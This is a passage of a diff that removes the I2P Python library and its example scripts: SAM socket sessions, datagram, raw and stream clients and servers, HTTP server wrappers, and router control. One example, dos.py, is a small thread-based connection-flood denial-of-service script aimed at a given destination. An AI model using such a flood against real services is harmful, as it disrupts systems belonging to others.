pass
class MyRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler):
pass
def runServer():
httpd = MyServer(myServerSession, MyRequestHandler)
print "MyServer: local SAM session = %s" % myServerSession
print "MyServer: dest = %s" % httpd.socket.dest
httpd.serve_forever()
if __name__ == '__main__':
runServer()

View File

@ -1,18 +0,0 @@
#! /usr/bin/env python
# -----------------------------------------------
# datagram.py: Datagram client
# -----------------------------------------------
from i2p import socket
print 'Sending a packet to yourserver.i2p...'
dest = socket.resolve('yourserver.i2p')
S = socket.socket('Bob', socket.SOCK_DGRAM)
S.sendto('Hello packet', 0, dest)
# Get packet up to 1000 bytes -- the rest is discarded.
(data, dest) = S.recvfrom(1000)
print data

View File

@ -1,21 +0,0 @@
#! /usr/bin/env python
# ---------------------------------------------------
# datagram_noblock.py: Non-blocking datagram server
# ---------------------------------------------------
from i2p import socket
import time
S = socket.socket('Eve', socket.SOCK_DGRAM)
print 'Serving at:', S.dest
S.setblocking(False)
while True:
try:
(data, dest) = S.recvfrom(1000) # Read packet
print 'Got', data, 'from', dest
S.sendto('Hi client!', 0, dest)
except socket.BlockError: # No data available
pass
time.sleep(0.01) # Reduce CPU usage

View File

@ -1,15 +0,0 @@
#! /usr/bin/env python
# -----------------------------------------------
# datagram_server.py: Datagram server
# -----------------------------------------------
from i2p import socket
S = socket.socket('Eve', socket.SOCK_DGRAM)
print 'Serving at:', S.dest
while True:
(data, dest) = S.recvfrom(1000) # Read packet
print 'Got', data, 'from', dest
S.sendto('Hi client!', 0, dest)

View File

@ -1,34 +0,0 @@
#! /usr/bin/env python
# -----------------------------------------------
# dos.py: Noneffective denial of service tool
# -----------------------------------------------
from i2p import socket
import threading, sys
def dos_stream(dest):
"""Perform a DOS attack on a stream server."""
dest = socket.resolve(dest)
# DOS code, runs in n separate threads.
def f():
while True:
S = socket.socket(dest, socket.SOCK_STREAM)
S.connect(dest)
S.send('GET / HTTP/1.0\r\n\r\n')
S.close()
# Start up the threads.
for i in range(128):
T = threading.Thread(target=f)
T.start()
def syntax():
print "Usage: python dos.py Destination"
if __name__ == '__main__':
if len(sys.argv) == 2:
dos_stream(sys.argv[1])
else:
syntax()

View File

@ -1,15 +0,0 @@
Examples:
cgi_server.py - Example of CGIHTTPServer
datagram.py - Datagram client
datagram_noblock.py - Non-blocking datagram server
datagram_server.py - Blocking datagram server
dos.py - Denial of service tool
raw.py - Raw client
raw_noblock.py - Non-blocking raw server
raw_server.py - Raw server
stream.py - Stream client
stream_eepget.py - Get an eepsite using sockets
stream_noblock.py - Non-blocking stream server
stream_server.py - Blocking stream server

View File

@ -1,11 +0,0 @@
#! /usr/bin/env python
# -----------------------------------------------
# raw.py: Raw client
# -----------------------------------------------
from i2p import socket
dest = socket.resolve('yourserver.i2p') # Send to dest
S = socket.socket('Carol', socket.SOCK_RAW)
S.sendto('Hello packet', 0, dest)

View File

@ -1,20 +0,0 @@
#! /usr/bin/env python
# ---------------------------------------------------
# raw_noblock.py: Non-blocking raw server
# ---------------------------------------------------
from i2p import socket
import time
S = socket.socket('Eve', socket.SOCK_RAW)
print 'Serving at:', S.dest
S.setblocking(False)
while True:
try:
data = S.recv(1000) # Read packet
print 'Got', data
except socket.BlockError: # No data available
pass
time.sleep(0.01) # Reduce CPU usage

View File

@ -1,14 +0,0 @@
#! /usr/bin/env python
# -----------------------------------------------
# raw_server.py: Raw server
# -----------------------------------------------
from i2p import socket
S = socket.socket('Eve', socket.SOCK_RAW)
print 'Serving at:', S.dest
while True:
data = S.recv(1000) # Read packet
print 'Got', data

View File

@ -1,12 +0,0 @@
#! /usr/bin/env python
# -----------------------------------------------
# stream.py: Simple stream client
# -----------------------------------------------
from i2p import socket
S = socket.socket('Alice', socket.SOCK_STREAM)
S.connect('duck.i2p')
S.send('GET / HTTP/1.0\r\n\r\n') # Send request
print S.recv(1000) # Read up to 1000 bytes

View File

@ -1,18 +0,0 @@
#! /usr/bin/env python
# -----------------------------------------------
# stream_eepget.py: Get an eepsite using sockets
# -----------------------------------------------
from i2p import socket
S = socket.socket('Alice', socket.SOCK_STREAM)
S.connect('duck.i2p')
S.send('GET / HTTP/1.0\r\n\r\n') # Send request
f = S.makefile() # File object
while True: # Read header
line = f.readline().strip() # Read a line
if line == '': break # Content begins
print f.read() # Read file object

View File

@ -1,40 +0,0 @@
#! /usr/bin/env python
# -----------------------------------------------
# stream_noblock.py: Non-blocking stream server
# -----------------------------------------------
import i2p
from i2p import socket
import thread, time
S = socket.socket('Dave', socket.SOCK_STREAM)
S.listen(10) # Queue up to 10 connections
S.setblocking(False) # Non-blocking
print 'Serving at:', S.dest
def handle_connection(C):
"""Handle a single connection in a thread of its own."""
try:
f = C.makefile() # File object
req = f.readline() # Read HTTP request
s = '<h1>Hello!</h1>' # String to send back
f.write('HTTP/1.0 200 OK\r\nContent-Type: text/html' +
'\r\nContent-Length: ' + str(int(len(s))) + '\r\n\r\n' + s)
f.close() # Close file
C.close() # Close connection
except socket.Error, e:
# Recover from socket errors
print 'Warning:', str(e)
while True:
try:
(C, remotedest) = S.accept() # Get a connection
thread.start_new_thread(handle_connection, (C,))
except socket.BlockError:
# Ignore 'command would have blocked' errors
pass
time.sleep(0.01) # Reduce CPU usage

View File

@ -1,29 +0,0 @@
#! /usr/bin/env python
# -----------------------------------------------
# stream_server.py: Simple stream server
# -----------------------------------------------
import i2p
from i2p import socket
S = socket.socket('Dave', socket.SOCK_STREAM)
S.listen(10) # Queue up to 10 connections
print 'Serving at:', S.dest
while True:
try:
(C, remotedest) = S.accept() # Get a connection
f = C.makefile() # File object
req = f.readline() # Read HTTP request
s = '<h1>Hello!</h1>' # String to send back
f.write('HTTP/1.0 200 OK\r\nContent-Type: text/html' +
'\r\nContent-Length: ' + str(int(len(s))) + '\r\n\r\n' + s)
f.close() # Close file
C.close() # Close connection
except socket.Error, e:
# Recover from socket errors
print 'Warning:', str(e)

View File

@ -1,19 +0,0 @@
#! /usr/bin/env python
# --------------------------------------------------
# py2exe_demo.py: Sample setup script for py2exe
# --------------------------------------------------
"""
Sample setup script for py2exe.
Use 'python py2exe_demo.py install' to build an exe.
A zip archive of the distribution is about 630 KB
(Delete _ssl.pyd to save space).
"""
from distutils.core import setup
import py2exe
setup(console=["../stream_eepget.py"])

View File

@ -1,83 +0,0 @@
#! /usr/bin/env python
"""
Emulation of Python BaseHTTPServer module using I2P sockets.
The Python module is described at
http://www.python.org/doc/current/lib/module-BaseHTTPServer.html
To get a server going, use:
>>> from i2p import BaseHTTPServer
>>> BaseHTTPServer.test().
Consult the documentation for function test() to change basic
server settings, such as the session name.
A fully customizable example:
>>> from i2p import BaseHTTPServer
>>> session = "mytestxxx.i2p" # SAM session name
>>> class MyServer(BaseHTTPServer.HTTPServer): pass
>>> class MyRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): pass
>>> httpd = MyServer(session, MyRequestHandler)
>>> httpd.socket.dest
(Base64 Destination of server)
>>> httpd.serve_forever()
"""
# By aum.
# Hack to keep Python from importing from current directory:
# Use pylib package, then use = signs instead of from x import y.
import pylib
BaseHTTPServer = pylib.BaseHTTPServer
import sys
import i2p.SocketServer
__version__ = "0.3"
__all__ = ["HTTPServer", "BaseHTTPRequestHandler", "test"]
DEFAULT_ERROR_MESSAGE = BaseHTTPServer.DEFAULT_ERROR_MESSAGE
class HTTPServer(i2p.SocketServer.TCPServer, BaseHTTPServer.HTTPServer):
"""
Same interface as Python class
BaseHTTPServer.HTTPServer.
"""
class BaseHTTPRequestHandler(
i2p.SocketServer.StreamRequestHandler,
BaseHTTPServer.BaseHTTPRequestHandler):
"""
Same interface as Python class
BaseHTTPServer.BaseHTTPRequestHandler.
"""
def test(HandlerClass = BaseHTTPRequestHandler,
ServerClass = HTTPServer, protocol="HTTP/1.0",
session = "mytestxxx.i2p"):
"""
Test the HTTP request handler class.
This runs an I2P TCP server under SAM session 'session'.
If a single command line argument is given, the argument is used
instead as the SAM session name.
"""
if sys.argv[1:] and __name__ == '__main__':
session = sys.argv[1]
HandlerClass.protocol_version = protocol
httpd = ServerClass(session, HandlerClass)
print "Serving HTTP on", session, "..."
print "Destination follows:"
print httpd.socket.dest
httpd.serve_forever()
if __name__ == '__main__':
test()

View File

@ -1,69 +0,0 @@
#! /usr/bin/env python
"""
Emulation of Python CGIHTTPServer module using I2P sockets.
The Python module is described at
http://www.python.org/doc/current/lib/module-CGIHTTPServer.html
To get a server going, use:
>>> from i2p import CGIHTTPServer
>>> CGIHTTPServer.test().
Consult the documentation for function test() to change basic
server settings, such as the session name.
A fully customizable example:
>>> from i2p import BaseHTTPServer, CGIHTTPServer
>>> session = "mytestxxx.i2p" # SAM session name
>>> class MyServer(BaseHTTPServer.HTTPServer): pass
>>> class MyRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler): pass
>>> httpd = MyServer(session, MyRequestHandler)
>>> httpd.socket.dest
(Base64 Destination of server)
>>> httpd.serve_forever()
"""
# By aum.
__all__ = ["CGIHTTPRequestHandler", "test"]
# Hack to keep Python from importing from current directory:
# Use pylib package, then use = signs instead of from x import y.
import pylib
CGIHTTPServer = pylib.CGIHTTPServer
nobody_uid = CGIHTTPServer.nobody_uid
executable = CGIHTTPServer.executable
import sys
import i2p.BaseHTTPServer
import i2p.SimpleHTTPServer
HTTPServer = i2p.BaseHTTPServer.HTTPServer
class CGIHTTPRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler):
"""
Same interface as Python class
CGIHTTPServer.CGIHTTPRequestHandler.
"""
def test(HandlerClass = CGIHTTPRequestHandler,
ServerClass = i2p.BaseHTTPServer.HTTPServer,
session = "mytestxxx.i2p"):
"""
Test the HTTP CGI request handler class.
This runs an I2P TCP server under SAM session 'session'.
If a single command line argument is given, the argument is used
instead as the SAM session name.
"""
if sys.argv[1:] and __name__ == '__main__':
session = sys.argv[1]
i2p.SimpleHTTPServer.test(HandlerClass, ServerClass,
session=session)
if __name__ == '__main__':
test()

View File

@ -1,68 +0,0 @@
#! /usr/bin/env python
"""
Emulation of Python SimpleHTTPServer module using I2P sockets.
The Python module is described at
http://www.python.org/doc/current/lib/module-SimpleHTTPServer.html
To get a server going, use:
>>> from i2p import SimpleHTTPServer
>>> SimpleHTTPServer.test().
Consult the documentation for function test() to change basic
server settings, such as the session name.
A fully customizable example:
>>> from i2p import BaseHTTPServer, SimpleHTTPServer
>>> session = "mytestxxx.i2p" # SAM session name
>>> class MyServer(BaseHTTPServer.HTTPServer): pass
>>> class MyRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): pass
>>> httpd = MyServer(session, MyRequestHandler)
>>> httpd.socket.dest
(Base64 Destination of server)
>>> httpd.serve_forever()
"""
# By aum.
# Hack to keep Python from importing from current directory:
# Use pylib package, then use = signs instead of from x import y.
import pylib
SimpleHTTPServer = pylib.SimpleHTTPServer
import sys
import i2p.BaseHTTPServer
__version__ = "0.1.0"
__all__ = ["SimpleHTTPRequestHandler", "test"]
HTTPServer = i2p.BaseHTTPServer.HTTPServer
class SimpleHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
"""
Same interface as Python class
SimpleHTTPServer.SimpleHTTPRequestHandler.
"""
def test(HandlerClass = SimpleHTTPRequestHandler,
ServerClass = i2p.BaseHTTPServer.HTTPServer,
session = "mytestxxx.i2p"):
"""
Test the HTTP simple request handler class.
This runs an I2P TCP server under SAM session 'session'.
If a single command line argument is given, the argument is used
instead as the SAM session name.
"""
if sys.argv[1:] and __name__ == '__main__':
session = sys.argv[1]
i2p.BaseHTTPServer.test(HandlerClass, ServerClass,
session=session)
if __name__ == '__main__':
test()

View File

@ -1,72 +0,0 @@
"""
Emulation of Python SocketServer module using I2P sockets.
The Python module is described at
http://www.python.org/doc/current/lib/module-SocketServer.html
"""
# By aum.
# Hack to keep Python from importing from current directory:
# Use pylib package, then use = signs instead of from x import y.
import pylib
SocketServer = pylib.SocketServer
import i2p.socket
class BaseServer(SocketServer.BaseServer):
pass
class TCPServer(SocketServer.TCPServer, BaseServer):
socket_type = i2p.socket.SOCK_STREAM
def __init__(self, session, RequestHandlerClass):
"""
Constructor. May be extended, do not override.
The 'session' argument indicates the SAM session
name that should be used for the server. See module
i2p.socket for details on SAM sessions.
"""
BaseServer.__init__(self, session, RequestHandlerClass)
#self.socket = socket.socket(self.address_family,
# self.socket_type)
self.session = session
self.socket = i2p.socket.socket(session, self.socket_type)
self.server_bind()
self.server_activate()
class UDPServer(TCPServer, SocketServer.UDPServer):
pass
class ForkingMixIn(SocketServer.ForkingMixIn):
pass
class ThreadingMixIn(SocketServer.ThreadingMixIn):
pass
class ForkingUDPServer(ForkingMixIn, UDPServer):
pass
class ForkingTCPServer(ForkingMixIn, TCPServer):
pass
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
pass
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
pass
class BaseRequestHandler(SocketServer.BaseRequestHandler):
pass
class StreamRequestHandler(SocketServer.StreamRequestHandler):
pass
class DatagramRequestHandler(SocketServer.DatagramRequestHandler):
pass

View File

@ -1,22 +0,0 @@
"""
i2p -- I2P Python interface
"""
__all__ = [
'BaseHTTPServer',
'CGIHTTPServer',
'eep',
'router',
'select',
'SimpleHTTPServer',
'socket',
'SocketServer',
'tunnel',
]
class Error(Exception):
"""Base class for all I2P errors."""
class RouterError(Error):
"""Could not connect to router."""

View File

@ -1,46 +0,0 @@
# -------------------------------------------------------------
# eep.py: Eeproxy access module
# -------------------------------------------------------------
"""
Eeproxy access module
"""
import urllib2
eepaddr = '127.0.0.1:4444' # Default port for eeproxy
# --------------------------------------------------
# Functions
# --------------------------------------------------
def urlopen(url, eepaddr=eepaddr):
"""Like urllib2.urlopen(url), but only works for eep-sites.
Example: f = urlopen('http://duck.i2p/index.html')"""
if url.find('http://') != 0: url = 'http://' + url
# Handle I2P Destination
if len(url) >= 256:
suffix = url[len('http://'):]
if suffix[:4] != 'i2p/': url = 'http://i2p/' + suffix
# Add trailing slash
if url.find('/', len('http://')) < 0: url = url + '/'
# Remove http:// and trailing slash from eepaddr.
if eepaddr.find('http://') == 0: eepaddr = eepaddr[len('http://'):]
eepaddr = eepaddr.rstrip('/')
proxy = urllib2.ProxyHandler( \
{'http': 'http://' + eepaddr})
opener = urllib2.build_opener(proxy, urllib2.HTTPHandler)
return opener.open(url)
def urlget(url, eepaddr=eepaddr):
"""Get contents of an eepsite.
Example: urlget('http://duck.i2p/')."""
f = urlopen(url, eepaddr=eepaddr)
ans = f.read()
f.close()
return ans

View File

@ -1,17 +0,0 @@
# ------------------------------------------------
# Hack to import the Python library modules
# when names conflict in our package.
# ------------------------------------------------
import sys
sys.path.reverse()
import socket
import select
import BaseHTTPServer
import SocketServer
import CGIHTTPServer
import SimpleHTTPServer
sys.path.reverse()

View File

@ -1,185 +0,0 @@
# -------------------------------------------------------------
# router.py: Router control module
# -------------------------------------------------------------
"""
Router control module
"""
import i2p
import i2p.socket
import i2p.eep
from i2p.pylib import socket as pysocket # Import Python socket
import os, sys
import os.path
import time
import threading
import urllib2
check_addrlist = [i2p.socket.samaddr, i2p.eep.eepaddr]
router_config = 'router.config' # Router config filename
# True if our Python program started the router
our_router = False
our_router_lock = threading.Lock()
def find(dir=None):
"""Find the absolute path to a locally installed I2P router.
An I2P installation is located by looking in the
the dir argument given to the function, then in the
environment I2P, then in PATH. It looks for startRouter.sh
or startRouter.bat. Raises ValueError if an I2P installation
could not be located.
"""
sep = os.pathsep # Path separator
L = []
if dir != None and dir != '': L += dir.split(sep)
if 'I2P' in os.environ: L += os.environ['I2P'].split(sep)
if 'PATH' in os.environ: L += os.environ['PATH'].split(sep)
for dirname in L:
filename = os.path.join(dirname, 'startRouter.bat')
if os.path.exists(filename):
return dirname
filename = os.path.join(dirname, 'startRouter.sh')
if os.path.exists(filename):
return dirname
raise ValueError('I2P installation not found')
def check(dir=None):
"""Checks whether a locally installed router is running. Does
nothing if successful, otherwise raises i2p.RouterError.
An I2P installation is located by using find(dir).
The router.config file is parsed for 'router.adminPort'.
This port is queried to determine whether the router is
running.
"""
config = _parse_config(os.path.join(find(dir), router_config))
port = config.get('router.adminPort', '')
try:
port = int(port)
except:
raise ValueError('router.adminPort missing or bad in ' +
router_config)
try:
s = pysocket.socket(pysocket.AF_INET, pysocket.SOCK_STREAM)
s.connect(('127.0.0.1', port))
s.close()
except pysocket.error:
raise i2p.RouterError('could not contact 127.0.0.1:' + str(port))
def _run_program(filename):
"""Runs the given program in a new process and new terminal."""
if sys.platform[:3] == 'win':
os.startfile(filename)
global our_router
our_router = True
else:
# Linux possibilities:
# sh -c command
# xterm -e command
# bash -c command
# Try os.spawnl() with the above.
raise ValueError('unimplemented')
def start(dir=None, hidden=False):
"""Start a locally installed I2P router. Does nothing if
the router has already been started.
An I2P installation is located by using find(dir).
If hidden is True, do not show a terminal for the router.
"""
routerdir = find(dir)
router = os.path.join(routerdir, 'startRouter.bat')
try:
check(dir)
return # Already running
except:
pass # Not yet running
olddir = os.getcwd()
if hidden:
raise ValueError('unimplemented')
our_router_lock.acquire()
try:
os.chdir(routerdir)
try:
_run_program(router)
finally:
os.chdir(olddir)
finally:
our_router_lock.release()
# Ideas for hidden=True:
# Parse startRouter.bat, and run same command with javaw
# on Windows to hide command box.
# Perhaps use javaw (?) or javaws (j2sdk1.4.2/jre/javaws/javaws)
# Perhaps /path-to/program 2>/dev/null 1>/dev/null&
def _parse_config(filename):
"""Return a dict with (name, value) items for the given I2P configuration file."""
f = open(filename, 'r')
s = f.read()
f.close()
ans = {}
for line in s.split('\n'):
line = line.strip()
if '#' in line: line = line[:line.find('#')]
pair = line.split('=')
if len(pair) == 2:
ans[pair[0].strip()] = pair[1].strip()
return ans
def stop(dir=None, force=False):
"""Stop a locally installed I2P router, if it was started by
the current Python program. If force is True, stop the
router even if it was started by another process. Do nothing
if force is False and the router was started by another program.
The file 'router.config' is located using the same search
process used for find(dir). It is parsed for
'router.shutdownPassword' and 'router.adminPort'. The
router is shut down through the admin port.
Raises i2p.RouterError if the I2P router is running but cannot
be stopped. You must uncomment the
'router.shutdownPassword' line for this command to work.
"""
if force == False and our_router == False:
return
config = _parse_config(os.path.join(find(dir), router_config))
password = config.get('router.shutdownPassword', '')
if password == '':
raise ValueError('router.shutdownPassword not found in ' +
router_config)
admin_port = config.get('router.adminPort', '')
if admin_port == '':
raise ValueError('router.adminPort not found in ' + router_config)
try:
admin_port = int(admin_port)
except:
raise ValueError('invalid router.adminPort in ' + router_config)
try:
sock = pysocket.socket(pysocket.AF_INET, pysocket.SOCK_STREAM)
sock.connect(('127.0.0.1', admin_port))
sock.send('GET /shutdown?password=' + password + ' HTTP/1.0\r\n\r\n')
time.sleep(0.01)
sock.close()
except:
raise i2p.RouterError('router shutdown failed')
# Assume shutdown succeeded (it will take 30 seconds).

View File

@ -1,773 +0,0 @@
# -------------------------------------------------------------
# samclasses.py: Lower-level SAM classes, for internal use.
# -------------------------------------------------------------
"""
Lower-level SAM API, interfaces with SAM Bridge.
For internal use only.
Use the higher level i2p.socket module for your own programs.
For details on SAM, see "Simple Anonymous Messaging (SAM) v1.0,"
as published by jrandom.
Class Overview:
- SAMTerminal: Message sender/reader, talks to SAM Bridge.
- StringBuffer: Queue for character data.
- BaseSession: SAM session classes are derived from this.
- StreamSession: SAM stream session class, threadsafe, high level.
- DatagramSession: SAM datagram session, threadsafe, high level.
- RawSession: SAM raw session, threadsafe, high level.
Note that a 'None' timeout is an infinite timeout: it
blocks forever if necessary.
Todo:
- Error handling is a huge mess. Neaten it up.
Subclass a ErrorMixin class, then use set_error(e),
check_error(), get_error().
- Streams are a huge mess. Neaten them up.
- This whole interface is a tad confusing. Neaten it up.
"""
# ---------------------------------------------------------
# Imports
# ---------------------------------------------------------
import Queue, traceback, random, sys, shlex
import thread, threading, time, string
# ---------------------------------------------------------
# Import i2p and i2p.socket (for defaults and errors)
# ---------------------------------------------------------
import i2p
import i2p.socket
from i2p.pylib import socket as pysocket # Import Python socket
# ---------------------------------------------------------
# Functions
# ---------------------------------------------------------
def sleep(): time.sleep(0.01) # Sleep between thread polls
def timer(): return time.time() # High resolution timer
# Do NOT use time.clock() as it
# drops sleep() time on Linux.
log = False # Logging flag. Logs to ./log.txt.
# -----------------------------------------------------
# SAMTerminal
# -----------------------------------------------------
class SAMTerminal:
"""Message-by-message communication with SAM through a single
pysocket. _on_* messages are dispatched to msgobj."""
def __init__(self, addr, msgobj):
try: self.host, self.port = addr.split(':')
except: raise ValueError('sam port required')
self.port = int(self.port)
self.sock=pysocket.socket(pysocket.AF_INET,pysocket.SOCK_STREAM)
self.msgobj = msgobj
try:
self.sock.connect((self.host, self.port))
except:
raise i2p.RouterError('could not contact SAM bridge on ' +
self.host + ':' + str(self.port))
thread.start_new_thread(self._poll_loop, ())
self.error = None
self.lost_error = i2p.RouterError('SAM bridge connection lost')
def _poll_loop(self):
"""Polling loop for incoming messages."""
try:
while True:
# Read until newline
line = []
while True:
try: c = self.sock.recv(1)
except pysocket.error, ex: self.error = self.lost_error
if c == '': self.error = self.lost_error
if self.error != None: return
if c == '\n': break
if c != '': line += [c]
line = ''.join(line)
if log:
logf = open('log.txt', 'a')
logf.write('\n' + line + '\n')
logf.close()
(msg, kwargs) = self._samdecode(line)
# Read N bytes if SIZE=N is present.
if 'SIZE' in kwargs:
data = []
remain = int(kwargs['SIZE'])
while True:
try: s = self.sock.recv(remain)
except pysocket.error, ex: self.error = self.lost_error
if s == '': self.error = self.lost_error
if self.error != None: return
if s != '': data += [s]
remain -= len(s)
if remain <= 0: break
data = ''.join(data)
# Store the read data in kwargs['DATA'].
kwargs['DATA'] = data
del kwargs['SIZE']
# Dispatch the message
try: self.on_message(msg, kwargs)
except Exception, e:
# On exception in on_message, print a warning, keep going.
print 'Unhandled exception in polling thread.'
traceback.print_exc()
# Don't need to sleep since recv() blocks.
# End of while loop
except Exception, e:
# For other exceptions, print a fatal error and stop polling.
print 'Fatal exception in polling thread'
traceback.print_exc(); sys.exit()
def _samdecode(self, s):
"""Given a SAM command, returns (a, b), where a is the string at
the beginning of the command, and b is a dictionary of name,
value pairs for the command."""
(args, kwargs) = ([], {})
for w in shlex.split(s):
if '=' in w: kwargs[w.split('=')[0]] = w.split('=')[1]
else: args += [w]
return (' '.join(args), kwargs)
def check_message(self, kwargs):
"""Raises an error if kwargs['RESULT'] != 'OK'."""
if not kwargs.get('RESULT', '') in ['OK', '']:
raise i2p.socket.NetworkError((kwargs['RESULT'],
kwargs.get('MESSAGE', '')))
def on_message(self, msg, kwargs):
"""Process a SAM message that was received. Dispatch to
self._on_MESSAGE_NAME(**kwargs)."""
name = '_on_' + msg.upper().replace(' ', '_')
getattr(self.msgobj, name)(**kwargs)
def send_message(self, msg):
"""Send a message to the SAM bridge. A newline will be
automatically added if none is present."""
self.check()
if not '\n' in msg: msg = msg + '\n'
if log:
logf = open('log.txt', 'a')
logf.write('\n' + msg)
logf.close()
try: self.sock.sendall(msg)
except pysocket.error: self.error = self.lost_error
self.check()
def check(self):
"""Raise an error if terminal was closed, otherwise do
nothing."""
if self.error != None: raise self.error
def close(self):
"""Close the SAM terminal."""
# If data is sent via STREAM SEND, and the socket is closed
# immediately, the data will be lost. Delay 0.01 s to fix this
# bug (tested Windows, Linux).
time.sleep(0.01)
self.error = i2p.socket.ClosedError()
self.sock.close()
def queue_get(self, q):
"""Identical to q.get() unless a call to self.check() fails,
in which case the waiting is cut short with an error."""
while True:
try: return q.get_nowait()
except Queue.Empty: pass
self.check()
sleep()
# -------------------------------------------------------
# StringBuffer: A FIFO for string data.
# -------------------------------------------------------
class Deque:
"""A double-ended queue."""
def __init__(self):
self.a = []
self.b = []
def push_last(self, obj):
"""Append obj to the end of the deque."""
self.b.append(obj)
def push_first(self, obj):
"""Prepend obj to the beginning of the deque."""
self.a.append(obj)
def _partition(self):
if len(self) > 1:
self.a.reverse()
all = self.a + self.b
n = len(all) / 2
self.a = all[:n]
self.b = all[n:]
self.a.reverse()
def pop_last(self):
"""Pop an item off the end of the deque, and return it."""
if not self.b: self._partition()
try: return self.b.pop()
except: return self.a.pop()
def pop_first(self):
"""Pop an item off the beginning of the deque, and return it."""
if not self.a: self._partition()
try: return self.a.pop()
except: return self.b.pop()
def __len__(self):
"""Number of items in the deque."""
return len(self.b) + len(self.a)
class StringBuffer(Deque):
"""A FIFO for characters. Strings can be efficiently
appended to the end, and read from the beginning.
Example:
>>> B = StringBuffer('Hello W')
>>> B.append('orld!')
>>> B.read(5)
'Hello'
>>> B.read()
'World!'
"""
def __init__(self, s=''):
Deque.__init__(self)
self.length = 0
self.append(s)
def append(self, s):
"""Append string data to the end of the buffer."""
n = 128
for block in [s[i:i+n] for i in range(0,len(s),n)]:
self.push_last(block)
self.length += len(s)
def prepend(self, s):
"""Prepend string data to the beginning of the buffer."""
n = 128
blocks = [s[i:i+n] for i in range(0,len(s),n)]
blocks.reverse()
for block in blocks:
self.push_first(block)
self.length += len(s)
def read(self, n=None):
"""Read n bytes of data (or less if less data available) from the
beginning of the buffer. The data is removed. If n is
omitted, read the entire buffer."""
if n == None or n > len(self): n = len(self)
destlen = len(self) - n
ans = []
while len(self) > destlen:
ans += [self.pop_first()]
self.length -= len(ans[-1])
ans = ''.join(ans)
self.prepend(ans[n:])
ans = ans[:n]
return ans
def peek(self, n=None):
"""Like read(), but do not remove the data that is returned."""
ans = self.read(n)
self.prepend(ans)
return ans
def __len__(self): return self.length
def __str__(self): return self.peek()
def __repr__(self): return 'StringBuffer(' + str(self) + ')'
# -----------------------------------------------------
# BaseSession
# -----------------------------------------------------
class BaseSession:
"""Base session, from which StreamSession, DatagramSession,
and RawSession are derived."""
def __init__(self, addr=''):
if addr == '': addr = i2p.socket.samaddr
self.term = SAMTerminal(addr=addr, msgobj=self)
self.lock = threading.Lock() # Data lock.
self.closed = False
self.qhello = Queue.Queue() # Thread messaging, HELLO REPLY.
self.qnaming = Queue.Queue() # Thread messaging, NAMING REPLY.
self.qsession = Queue.Queue() # Thread messaging, SESSION STATUS.
self._hello() # Do handshake with SAM bridge.
def _hello(self):
"""Internal command, handshake with SAM terminal."""
self.term.send_message('HELLO VERSION MIN=' +
str(i2p.socket.samver) + ' MAX=' + str(i2p.socket.samver))
self.term.check_message(self.term.queue_get(self.qhello))
def _on_HELLO_REPLY(self, **kwargs):
"""Internal command, got HELLO REPLY."""
self.qhello.put(kwargs) # Pass kwargs back to _hello.
def _on_SESSION_STATUS(self, **kwargs):
"""Internal command, got SESSION STATUS."""
self.qsession.put(kwargs) # Pass kwargs back to main thread.
def _namelookup(self, name):
"""Internal command, does a NAMING LOOKUP query."""
self.term.send_message('NAMING LOOKUP NAME=' + name)
# Read back response, check it, and return X in VALUE=X.
kwargs = self.term.queue_get(self.qnaming)
self.term.check_message(kwargs)
return kwargs['VALUE']
def _on_NAMING_REPLY(self, **kwargs):
"""Internal command, got NAMING REPLY."""
self.qnaming.put(kwargs) # Pass kwargs back to _namelookup.
def _set_properties(self):
"""Internal command, call at end of __init__ to set up
properties."""
self.dest = self._namelookup('ME')
def close(self):
"""Close the session."""
# Synchronize
self.lock.acquire()
try:
# Close the terminal if we're not already closed.
if not self.closed: self.term.close()
self.closed = True
finally: self.lock.release()
def _encode_kwargs(self, **kwargs):
"""Internal command, encode extra kwargs for passing to
SESSION CREATE."""
ans = ''
for k in kwargs:
if k == 'in_depth':
ans += ' tunnels.depthInbound=' + \
str(int(kwargs['in_depth']))
elif k == 'out_depth':
ans += ' tunnels.depthOutbound=' + \
str(int(kwargs['out_depth']))
else:
raise ValueError('unexpected keyword argument ' + repr(k))
return ans
# -----------------------------------------------------
# StreamSession
# -----------------------------------------------------
class StreamSession(BaseSession):
"""Stream session. All methods are blocking and threadsafe."""
def __init__(self, name, addr='', **kwargs):
if addr == '': addr = i2p.socket.samaddr
BaseSession.__init__(self, addr)
self.idmap = {} # Maps id to Stream object.
self.qaccept = Queue.Queue() # Thread messaging, accept.
self.name = name
self.max_accept = 0 # Max queued incoming connections.
# Create stream session.
if name == '':
name = 'TRANSIENT'
# DIRECTION=BOTH (the default) is used because we can't know in
# advance whether a session will call listen().
self.term.send_message('SESSION CREATE STYLE=STREAM' +
' DESTINATION=' + name + self._encode_kwargs(**kwargs))
self.term.check_message(self.term.queue_get(self.qsession))
self._set_properties()
def connect(self, dest, timeout=None):
"""Create a stream connected to remote destination 'dest'. The
id is random. If the timeout is exceeded, do NOT raise an
error; rather, return a Stream object with .didconnect set
to False."""
if not isinstance(dest, type('')): raise TypeError
# Synchronize
self.lock.acquire()
try:
# Pick a positive stream id at random.
while True:
# 9/10 probability of success per iteration
id = random.randrange(1, len(self.idmap) * 10 + 2)
if not id in self.idmap:
ans = Stream(self, dest, id, didconnect=False)
self.idmap[id] = ans
break
finally: self.lock.release()
# Send STREAM CONNECT and wait for reply.
self.term.send_message('STREAM CONNECT ID=' + str(id) +
' DESTINATION=' + str(dest))
# Now wait until the stream's .didconnect flag is set to True.
if timeout != None: end = timer() + timeout
while True:
self.term.check()
if ans.didconnect: break
if timeout != None and timer() >= end: break
sleep()
return ans
def _on_STREAM_STATUS(self, **kwargs):
"""Internal command, got STREAM STATUS. Unblocks connect."""
# Store error is needed
try: self.term.check_message(kwargs)
except Exception, e:
try: self.idmap[int(kwargs['ID'])].err = e
except: pass # Closed too quickly
# Now set .didconnect flag to True.
try: self.idmap[int(kwargs['ID'])].didconnect = True
except: pass # Closed too quickly
def accept(self, timeout=None):
"""Wait for incoming connection, and return a Stream object
for it."""
if self.max_accept <= 0:
raise i2p.Error('listen(n) must be called before accept ' +
'(n>=1)')
if timeout != None: end = timer() + timeout
while True:
self.term.check()
# Synchronized
self.lock.acquire()
try:
